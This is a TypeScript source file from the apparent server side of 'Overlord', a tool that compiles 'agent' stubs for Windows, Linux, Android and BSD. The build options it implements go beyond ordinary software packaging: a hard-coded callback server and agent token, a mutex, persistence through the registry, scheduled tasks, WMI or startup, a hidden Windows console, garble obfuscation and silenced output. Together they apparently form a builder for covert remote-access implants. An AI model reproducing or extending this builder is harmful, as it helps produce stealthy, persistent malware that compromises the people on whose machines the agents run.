Files
overlord/Overlord-Server/src/server/build-process.ts
T

437 lines
17 KiB
TypeScript
Raw Normal View History

2026-03-05 00:04:26 -06:00
import { $ } from "bun";
import path from "path";
import fs from "fs";
import { saveBuild } from "../db";
import { logger } from "../logger";
import { getConfig } from "../config";
import { ensureDataDir } from "../paths";
2026-03-05 00:04:26 -06:00
import * as buildManager from "../build/buildManager";
import type { BuildStream } from "../build/types";
import { ALLOWED_PLATFORMS } from "./validation-constants";
import { resolveRuntimeRoot } from "./runtime-paths";
2026-03-06 13:31:34 -06:00
function isClientModuleDir(dir: string): boolean {
return (
fs.existsSync(path.join(dir, "go.mod")) &&
fs.existsSync(path.join(dir, "cmd", "agent"))
);
}
function resolveClientModuleDir(rootDir: string): string | null {
const candidates = [
path.join(rootDir, "Overlord-Client"),
path.join(rootDir, "..", "Overlord-Client"),
2026-03-12 00:29:25 -05:00
path.join(rootDir, "dist", "Overlord-Client"),
path.join(rootDir, "dist", "Overlord-Client", "Overlord-Client"),
2026-03-06 13:31:34 -06:00
];
for (const dir of candidates) {
if (isClientModuleDir(dir)) {
return dir;
}
}
return null;
}
function resolveClientBuildCacheRoot(): string {
const explicit = process.env.OVERLORD_CLIENT_BUILD_CACHE_DIR?.trim();
if (explicit) {
return path.resolve(explicit);
}
// Keep UI build caches under persistent app data by default.
return path.resolve(ensureDataDir(), "client-build-cache");
}
2026-03-10 17:09:27 -05:00
function resolveAndroidNdkToolchainBin(): string | null {
const ndkHome = (process.env.ANDROID_NDK_HOME || "/opt/android-ndk").trim();
const hostArch = process.arch === "arm64" ? "linux-aarch64" : "linux-x86_64";
const toolchainBin = path.join(ndkHome, "toolchains", "llvm", "prebuilt", hostArch, "bin");
return fs.existsSync(toolchainBin) ? toolchainBin : null;
}
2026-03-05 00:04:26 -06:00
type BuildProcessConfig = {
platforms: string[];
serverUrl?: string;
rawServerList?: boolean;
mutex?: string;
disableMutex?: boolean;
stripDebug?: boolean;
disableCgo?: boolean;
obfuscate?: boolean;
enablePersistence?: boolean;
persistenceMethod?: string;
2026-03-05 00:04:26 -06:00
hideConsole?: boolean;
noPrinting?: boolean;
};
const VALID_PERSISTENCE_METHODS = new Set(['startup', 'registry', 'taskscheduler', 'wmi']);
2026-03-05 00:04:26 -06:00
type BuildProcessDeps = {
generateBuildMutex: (length?: number) => string;
sanitizeOutputName: (name: string) => string;
};
2026-03-12 12:05:42 -05:00
function detectAgentVersion(clientDir: string): string {
try {
const configPath = path.join(clientDir, "cmd", "agent", "config", "config.go");
const content = fs.readFileSync(configPath, "utf8");
const match = content.match(/var\s+AgentVersion\s*=\s*"([^"]+)"/);
return match?.[1]?.trim() || "unknown";
} catch {
return "unknown";
}
}
2026-03-05 00:04:26 -06:00
export async function startBuildProcess(
buildId: string,
config: BuildProcessConfig,
deps: BuildProcessDeps,
): Promise<void> {
const SEVEN_DAYS_MS = 7 * 24 * 60 * 60 * 1000;
2026-03-06 13:07:56 -06:00
const BUILD_STREAM_HEARTBEAT_MS = 15_000;
2026-03-05 00:04:26 -06:00
const now = Date.now();
const build: BuildStream = {
id: buildId,
controllers: [],
status: "running",
startTime: now,
expiresAt: now + SEVEN_DAYS_MS,
files: [],
};
buildManager.addBuildStream(buildId, build);
const sendToStream = (data: any) => {
const encoder = new TextEncoder();
const message = `data: ${JSON.stringify(data)}\n\n`;
const encoded = encoder.encode(message);
if (data.type === "output") {
logger.info(`[build:${buildId.substring(0, 8)}] ${data.text.trimEnd()}`);
} else if (data.type === "status") {
logger.info(`[build:${buildId.substring(0, 8)}] STATUS: ${data.text}`);
} else if (data.type === "error") {
logger.error(`[build:${buildId.substring(0, 8)}] ERROR: ${data.error}`);
}
build.controllers.forEach((controller) => {
try {
controller.enqueue(encoded);
} catch (err) {
logger.error("[build] Failed to send to stream:", err);
}
});
};
2026-03-06 13:07:56 -06:00
const buildStartedAt = Date.now();
const keepAliveTimer = setInterval(() => {
const elapsedMinutes = Math.floor((Date.now() - buildStartedAt) / 60_000);
sendToStream({
type: "heartbeat",
elapsedMinutes,
timestamp: Date.now(),
});
}, BUILD_STREAM_HEARTBEAT_MS);
2026-03-05 00:04:26 -06:00
try {
const serverConfig = getConfig();
const buildAgentToken = (serverConfig.auth.agentToken || "").trim();
sendToStream({ type: "status", text: "Preparing build environment..." });
try {
const goCheck = await $`go version`.quiet();
const goVersion = goCheck.stdout.toString().trim();
logger.info(`[build:${buildId.substring(0, 8)}] Using ${goVersion}`);
sendToStream({ type: "output", text: `Using ${goVersion}\n`, level: "info" });
} catch {
const errorMsg = "Go is not installed or not in PATH. Please install Go from https://golang.org/dl/ and ensure it's in your system PATH.";
logger.error(`[build:${buildId.substring(0, 8)}] ${errorMsg}`);
sendToStream({ type: "output", text: `ERROR: ${errorMsg}\n`, level: "error" });
sendToStream({ type: "error", error: errorMsg });
sendToStream({ type: "complete", success: false });
build.status = "failed";
return;
}
const rootDir = resolveRuntimeRoot();
2026-03-06 13:31:34 -06:00
const clientDir = resolveClientModuleDir(rootDir);
if (!clientDir) {
throw new Error(
`Overlord-Client source not found (missing go.mod). Checked: ${path.join(rootDir, "dist", "Overlord-Client")}, ${path.join(rootDir, "Overlord-Client")}`,
);
}
2026-03-12 12:05:42 -05:00
const agentVersion = detectAgentVersion(clientDir);
2026-03-05 00:04:26 -06:00
const outDir = path.join(rootDir, "dist-clients");
const cacheRoot = resolveClientBuildCacheRoot();
const goBuildCacheDir = path.join(cacheRoot, "go-build");
const goModCacheDir = path.join(cacheRoot, "go-mod");
2026-03-05 00:04:26 -06:00
await Bun.$`mkdir -p ${outDir}`.quiet();
fs.mkdirSync(goBuildCacheDir, { recursive: true });
fs.mkdirSync(goModCacheDir, { recursive: true });
2026-03-05 00:04:26 -06:00
sendToStream({ type: "output", text: `Build directory: ${outDir}\n`, level: "info" });
2026-03-06 13:31:34 -06:00
sendToStream({ type: "output", text: `Client source: ${clientDir}\n`, level: "info" });
2026-03-12 12:05:42 -05:00
sendToStream({ type: "output", text: `Stub version: ${agentVersion}\n`, level: "info" });
sendToStream({ type: "output", text: `Client build cache: ${cacheRoot}\n`, level: "info" });
2026-03-05 00:04:26 -06:00
const platformsToBuild = (config.platforms || []).filter((p) => ALLOWED_PLATFORMS.has(p));
if (platformsToBuild.length !== (config.platforms || []).length) {
throw new Error("One or more requested platforms are not allowed");
}
2026-03-10 18:27:45 -05:00
const hasAndroidTargets = platformsToBuild.some((p) => p.startsWith("android-"));
const hasBsdTargets = platformsToBuild.some(
(p) => p.startsWith("freebsd-") || p.startsWith("openbsd-"),
);
if (hasAndroidTargets) {
sendToStream({
type: "output",
text: "WARNING: Android targets are severely untested and will probably not work right.\n",
level: "warn",
});
}
if (hasBsdTargets) {
sendToStream({
type: "output",
text: "WARNING: BSD targets are severely untested and will probably not work right.\n",
level: "warn",
});
}
2026-03-10 17:09:27 -05:00
const ndkBin = resolveAndroidNdkToolchainBin();
if (!ndkBin && platformsToBuild.some((p) => p.startsWith("android-"))) {
sendToStream({
type: "output",
text: "Warning: Android NDK not found. Android builds require the NDK. Install it to /opt/android-ndk or set the ANDROID_NDK_HOME environment variable.\n",
level: "warn",
});
}
2026-03-05 00:04:26 -06:00
let buildMutex = "";
if (!config.disableMutex) {
buildMutex = config.mutex || deps.generateBuildMutex();
sendToStream({ type: "output", text: `Mutex: ${buildMutex}\n`, level: "info" });
} else {
sendToStream({ type: "output", text: "Mutex: disabled\n", level: "info" });
}
for (const platform of platformsToBuild) {
const [os, arch, ...rest] = platform.split("-");
2026-03-10 15:38:50 -05:00
const goarm = arch === "armv7" ? "7" : undefined;
2026-03-05 00:04:26 -06:00
const actualArch = goarm ? "arm" : arch;
const outputName = deps.sanitizeOutputName(
platform.includes("windows") ? `agent-${platform}.exe` : `agent-${platform}`,
);
sendToStream({ type: "status", text: `Building ${platform}...` });
sendToStream({ type: "output", text: `\n=== Building ${platform} ===\n`, level: "info" });
2026-03-06 13:31:48 -06:00
const env: NodeJS.ProcessEnv = {
2026-03-05 00:04:26 -06:00
...process.env,
GOOS: os,
GOARCH: actualArch,
2026-03-06 12:43:42 -06:00
CGO_ENABLED: config.disableCgo === true ? "0" : "1",
2026-03-05 00:04:26 -06:00
GOWORK: "off",
GOCACHE: goBuildCacheDir,
GOMODCACHE: goModCacheDir,
2026-03-05 00:04:26 -06:00
...(goarm ? { GOARM: goarm } : {}),
};
2026-03-06 12:43:42 -06:00
if (env.CGO_ENABLED === "1") {
const targetKey = `${os}/${actualArch}${goarm ? `/v${goarm}` : ""}`;
const cCompilerByTarget: Record<string, string> = {
"linux/amd64": "gcc",
"windows/amd64": "x86_64-w64-mingw32-gcc",
"windows/386": "i686-w64-mingw32-gcc",
2026-03-10 17:09:27 -05:00
...(ndkBin ? {
"android/amd64": path.join(ndkBin, "x86_64-linux-android21-clang"),
"android/arm64": path.join(ndkBin, "aarch64-linux-android21-clang"),
"android/arm/v7": path.join(ndkBin, "armv7a-linux-androideabi21-clang"),
} : {}),
2026-03-06 12:43:42 -06:00
};
const cxxCompilerByTarget: Record<string, string> = {
"linux/amd64": "g++",
"windows/amd64": "x86_64-w64-mingw32-g++",
"windows/386": "i686-w64-mingw32-g++",
2026-03-10 17:09:27 -05:00
...(ndkBin ? {
"android/amd64": path.join(ndkBin, "x86_64-linux-android21-clang++"),
"android/arm64": path.join(ndkBin, "aarch64-linux-android21-clang++"),
"android/arm/v7": path.join(ndkBin, "armv7a-linux-androideabi21-clang++"),
} : {}),
2026-03-06 12:43:42 -06:00
};
const cc = cCompilerByTarget[targetKey];
const cxx = cxxCompilerByTarget[targetKey];
if (cc) {
env.CC = cc;
sendToStream({ type: "output", text: `CGO compiler: ${cc}\n`, level: "info" });
} else {
sendToStream({
type: "output",
text: `CGO compiler not mapped for ${targetKey}; falling back to default compiler lookup\n`,
level: "warn",
});
}
if (cxx) {
env.CXX = cxx;
}
2026-03-10 17:09:27 -05:00
if (os === "android" && ndkBin) {
env.AR = path.join(ndkBin, "llvm-ar");
}
2026-03-06 12:43:42 -06:00
}
2026-03-05 00:04:26 -06:00
let ldflags = config.stripDebug !== false ? "-s -w" : "";
if (config.serverUrl) {
const serverFlag = `-X overlord-client/cmd/agent/config.DefaultServerURL=${config.serverUrl}`;
ldflags = `${ldflags} ${serverFlag}`;
sendToStream({ type: "output", text: `Server URL: ${config.serverUrl}\n`, level: "info" });
}
if (config.rawServerList) {
const rawServerFlag = "-X overlord-client/cmd/agent/config.DefaultServerURLIsRaw=true";
ldflags = ldflags ? `${ldflags} ${rawServerFlag}` : rawServerFlag;
sendToStream({ type: "output", text: "Raw server list: enabled\n", level: "info" });
}
if (buildMutex) {
const mutexFlag = `-X overlord-client/cmd/agent/config.DefaultMutex=${buildMutex}`;
ldflags = ldflags ? `${ldflags} ${mutexFlag}` : mutexFlag;
}
if (config.enablePersistence) {
2026-03-10 17:22:39 -05:00
if (!platform.startsWith('android-')) {
const persistenceFlag = "-X overlord-client/cmd/agent/config.DefaultPersistence=true";
ldflags = ldflags ? `${ldflags} ${persistenceFlag}` : persistenceFlag;
sendToStream({ type: "output", text: `Persistence enabled for ${platform}\n`, level: "info" });
if (os === 'windows' && config.persistenceMethod && VALID_PERSISTENCE_METHODS.has(config.persistenceMethod)) {
const methodFlag = `-X overlord-client/cmd/agent/persistence.DefaultPersistenceMethod=${config.persistenceMethod}`;
ldflags = `${ldflags} ${methodFlag}`;
sendToStream({ type: "output", text: `Persistence method: ${config.persistenceMethod}\n`, level: "info" });
}
2026-03-10 17:22:39 -05:00
} else {
sendToStream({ type: "output", text: `Persistence is not supported on ${platform}, skipping...\n`, level: "warning" });
}
2026-03-05 00:04:26 -06:00
}
if (buildAgentToken) {
const agentTokenFlag = `-X overlord-client/cmd/agent/config.DefaultAgentToken=${buildAgentToken}`;
ldflags = ldflags ? `${ldflags} ${agentTokenFlag}` : agentTokenFlag;
}
if (config.hideConsole && os === "windows") {
const hideConsoleFlag = "-H=windowsgui";
ldflags = ldflags ? `${ldflags} ${hideConsoleFlag}` : hideConsoleFlag;
sendToStream({ type: "output", text: "Windows console hidden (GUI subsystem)\n", level: "info" });
}
if (config.obfuscate) {
sendToStream({ type: "output", text: "Obfuscation enabled (garble)\n", level: "info" });
}
if (config.noPrinting) {
sendToStream({ type: "output", text: "Client printing disabled (noprint tag)\n", level: "info" });
}
try {
const buildTool = config.obfuscate ? "garble" : "go";
const tagArg = config.noPrinting ? "-tags noprint " : "";
2026-03-09 01:09:51 -05:00
logger.info(`[build:${buildId.substring(0, 8)}] Building: ${buildTool} build ${tagArg}${ldflags ? `-ldflags="${ldflags}" ` : ""}-o ${outDir}/${outputName} ./cmd/agent`);
2026-03-06 12:43:42 -06:00
logger.info(`[build:${buildId.substring(0, 8)}] Environment: GOOS=${os} GOARCH=${actualArch} CGO_ENABLED=${env.CGO_ENABLED} CC=${env.CC || "<default>"}`);
2026-03-07 18:15:01 -06:00
2026-03-05 00:04:26 -06:00
const buildCmd = config.obfuscate
? (config.noPrinting
? (ldflags
2026-03-09 01:09:51 -05:00
? $`garble build -tags noprint -ldflags=${ldflags} -o ${outDir}/${outputName} ./cmd/agent`
: $`garble build -tags noprint -o ${outDir}/${outputName} ./cmd/agent`)
2026-03-05 00:04:26 -06:00
: (ldflags
2026-03-09 01:09:51 -05:00
? $`garble build -ldflags=${ldflags} -o ${outDir}/${outputName} ./cmd/agent`
: $`garble build -o ${outDir}/${outputName} ./cmd/agent`))
2026-03-05 00:04:26 -06:00
: (config.noPrinting
? (ldflags
2026-03-09 01:09:51 -05:00
? $`go build -tags noprint -ldflags=${ldflags} -o ${outDir}/${outputName} ./cmd/agent`
: $`go build -tags noprint -o ${outDir}/${outputName} ./cmd/agent`)
2026-03-05 00:04:26 -06:00
: (ldflags
2026-03-09 01:09:51 -05:00
? $`go build -ldflags=${ldflags} -o ${outDir}/${outputName} ./cmd/agent`
: $`go build -o ${outDir}/${outputName} ./cmd/agent`));
2026-03-05 00:04:26 -06:00
const proc = buildCmd.env(env).cwd(clientDir).nothrow();
2026-03-07 18:15:01 -06:00
let result: any;
2026-03-07 18:44:24 -06:00
for await (const line of proc.lines()) {
const trimmed = line.trim();
if (trimmed.length > 0) {
2026-03-07 18:15:01 -06:00
sendToStream({ type: "output", text: line + "\n", level: "info" });
}
2026-03-05 00:04:26 -06:00
}
2026-03-07 18:44:24 -06:00
result = await proc;
2026-03-05 00:04:26 -06:00
logger.info(`[build:${buildId.substring(0, 8)}] Process exited with code: ${result.exitCode}`);
if (result.exitCode !== 0) {
const stderrText = result.stderr.toString();
if (stderrText) {
sendToStream({ type: "output", text: stderrText, level: "error" });
}
const errorMsg = `Build failed with exit code ${result.exitCode}\n`;
sendToStream({ type: "output", text: errorMsg, level: "error" });
throw new Error(`Build failed for ${platform}`);
}
const filePath = `${outDir}/${outputName}`;
const file = Bun.file(filePath);
const size = file.size;
(build.files as any[]).push({
name: outputName,
filename: outputName,
platform,
2026-03-12 12:05:42 -05:00
version: agentVersion,
2026-03-05 00:04:26 -06:00
size,
});
} catch (err: any) {
2026-03-07 18:15:01 -06:00
const errorMsg = `[ERROR] Failed to build ${platform}: ${err.message || err}\n`;
2026-03-05 00:04:26 -06:00
logger.error(`[build:${buildId.substring(0, 8)}] ${errorMsg.trim()}`);
sendToStream({ type: "output", text: errorMsg, level: "error" });
throw err;
}
}
build.status = "completed";
logger.info(`[build:${buildId.substring(0, 8)}] Build completed successfully! Built ${build.files.length} file(s)`);
2026-03-07 18:15:01 -06:00
sendToStream({ type: "output", text: `\n[OK] Build completed successfully!\n`, level: "success" });
2026-03-05 00:04:26 -06:00
sendToStream({ type: "complete", success: true, files: build.files, buildId, expiresAt: build.expiresAt });
saveBuild({
id: build.id,
status: build.status,
startTime: build.startTime,
expiresAt: build.expiresAt,
files: build.files as any,
});
setTimeout(() => {
logger.info(`[build:${buildId.substring(0, 8)}] Cleaning up expired build`);
buildManager.deleteBuildStream(buildId);
}, SEVEN_DAYS_MS);
} catch (err: any) {
build.status = "failed";
logger.error(`[build:${buildId.substring(0, 8)}] Build failed:`, err);
sendToStream({ type: "error", error: err.message || String(err) });
sendToStream({ type: "complete", success: false, buildId });
setTimeout(() => {
logger.info(`[build:${buildId.substring(0, 8)}] Cleaning up failed build stream`);
buildManager.deleteBuildStream(buildId);
}, 60 * 60 * 1000);
2026-03-06 13:07:56 -06:00
} finally {
clearInterval(keepAliveTimer);
2026-03-05 00:04:26 -06:00
}
}